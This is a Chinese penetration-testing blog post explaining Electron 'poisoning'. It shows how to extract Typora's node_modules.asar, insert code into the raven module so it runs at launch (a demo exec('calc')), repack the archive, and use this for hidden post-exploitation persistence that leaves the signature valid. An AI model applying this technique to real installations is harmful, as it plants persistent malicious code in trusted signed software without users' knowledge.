点击蓝字
关注我们
日期:2024.12.30
作者:nothing
介绍:通过本文学习
electron
投毒技术的简单利用。
0x00 前言
随着现在跨平台使用应用程序的需求越来越多,electron
框架的使用方向也越来越广,也有越来越多的应用程序使用electron
框架来进行跨平台应用的开发,随之而来暴露的安全问题也越来越多,本文通过一个简单的案例来介绍下electron
框架投毒技术。
0x01 electron投毒简介
1.1 什么是electron
Electron
是一个使用 JavaScript、HTML 和 CSS
构建桌面应用的框架。通过将 Chromium 和 Node.js
嵌入到其二进制文件中,Electron
允许你维护一个 JavaScript
代码库并创建可在 Windows、macOS 和 Linux
上运行的跨平台应用 - 无需原生开发经验。
1.2 electron投毒技术原理介绍
在Electron
中,可以使用ASAR
格式来打包应用程序,以便在多个平台上运行。ASAR
是一种打包和分发Electron
应用程序的格式,它可以将应用程序的所有文件和目录打包成一个单独的文件(asar
文件),以便于分发和管理,asar
文件通常在应用安装目录的resources
文件夹下。
Electron
投毒是对ASAR
解包后在源代码或依赖中植入恶意代码,或者通过调试模式注入代码,以实现恶意操作,通常Electron
应用会带有可信的数字签名,植入恶意代码不会破坏签名校验。
接下来将通过一个typeora
的案例简单介绍一下electron
投毒的基础利用方式。
0x02 案例
2.1 环境准备
1.安装node.js和npm
https://blog.csdn.net/ZHANGYANG_1109/article/details/121229581
2.安装asar
npm install -g asar
3.安装typeora
https://download.typora.io/windows/typora-setup-x64.exe
安装完成后运行asar
命令,出现如下画面:
2.2 投毒测试
我们安装好typeora
和asar
工具后,我们先找到typeora
目录下的node_modules.asar
文件:
asar extract node_modules.asar ./test_typeora
对asar
包进行解压。raven
库,这个库会在打开typora
时加载。在index.js
文件中插入恶意代码调用计算器程序:
const { exec } = require('child_process');
exec('calc');
然后将文件夹重新进行打包asar pack ./test_typeora node_modules.asar
将该asar
文件替换源文件,再次打开typeora
软件时,程序加载插入恶意代码的模块,即可触发该命令。
nodejs
调用外部程序的方式,打开程序后自动执行隐藏木马,进行持久化操作。0x03 总结
通过electron
投毒的方式,可以极大程度的隐藏恶意代码的存在,进行后渗透阶段的持久化操作,达到隐藏自身的目的。
参考:https://mp.weixin.qq.com/s/W6I4d9p0u4AAue48H8IV5Q
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
点此亲启
原文始发于微信公众号(宸极实验室):『渗透测试』electron投毒简介
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论